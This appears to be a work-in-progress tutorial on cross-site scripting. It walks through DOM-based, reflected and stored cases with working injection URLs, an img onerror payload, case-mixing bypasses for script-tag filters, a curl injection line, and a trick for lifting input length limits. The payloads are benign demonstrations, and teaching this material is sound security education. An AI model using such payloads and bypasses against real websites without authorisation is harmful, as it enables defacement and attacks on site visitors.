Cross-Site Scripting (WIP)

Also known as XSS scripting, it allows the execution of malicious code of JavaScript or any client-side language. We can find different types of XSS scripting:

DOM-based

The vulnerability is in the client-side code, where the browser’s Document Object Model (DOM), the one handled by HTML, is manipulated to execute untrusted scripts.

We can find a typical example of this vulnerability as follows:

• The URL shows changes in a parameter

Example Case

<!-- We select language in a slider and is reflected on url -->
http://url/?language=en

<!-- Check html of the page for script tags and document.write() functions-->
...
<select name="default">
  <script>
  ...
    document.write("<option value='"+lang+"'>"+decodeURI(lang) + "</option>");
  ...
  </script>
</select>
...

<!-- Use '> to close the "value" parameter and then close tags -->
http://url/?default='></option></select>   
<!-- We will see all options of the slider are now displayed on screen -->

<!-- Then we can create any tag to insert HMTL code-->
http://url/?default='></option></select><h1>HACKED</h1>

<!-- We can even abuse this to inject JS code -->
http://url/?default='></option></select><script>if(window.confirm('HACKED\nTRY TO CALL FOR HELP?')){window.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ');};</script>

---

• In some cases, it will not work directly, so we can check the page code to see the conditions of the input

Case 1

Sometimes the script tag will be filtered

Example source code

...
if (stripos ($default, "<script") !== false) {
...

This could be bypassed using a img tag and then putting a bad src value which will cause an error. After that, we can handle it with the onerror parameter that lets us insert JS Code

http://$url/?default='></option></select><img src=x onerror='alert("HACKED")'/>

Case 2

Reflected

The vulnerability occurs when the parameters inputted by the client, are displayed on the screen of the page when the site processes a request.

We can find typical examples of this vulnerability as follows:

• When a parameter is sent in a query of the URL or a formulary, and this value is shown on the page content

#We do a petition and the site returns "Hello" in any part of the HTML
curl http://$url/?msg=$value 
# Then we could try to inject code
curl http://url/?msg=<script>alert("HACKED")</script>

#Or when we insert a value in a form and the site returns it in any part of the HTML, we could fill the form with code to inject
<script>alert("HACKED")</script>

---

• In some cases, it will not work directly, so we can check the page code to see the conditions of the input.

Case 1

Sometimes the script tag will be filtered

Example source code

...
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
...

This could be bypassed by using capital letters on the tag values or using other symbols to evade filtering

<sCrIpT>alert("HACKED")</script>
<s|script>alert("HACKED")</script>

Case 2

Stored

The vulnerability occurs when the input of values is saved by the web and displayed to anyone who browses the site. In the same way, malicious code will remain globally on the website.

We can find a typical example of this vulnerability as follows:

• We find a list of entries, and we see a formulary that inputs fill those entries globally on the page

#We insert names and comments in the formulary.
#Then we could fill the form to inject malicious code and show it to any other user that browse the website
<a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">CLICK HERE TO WIN A PRIZE</a>

If we encounter a limitation on the length of the input, we can right-click the form space, go to Inspect, and modify the maxlength value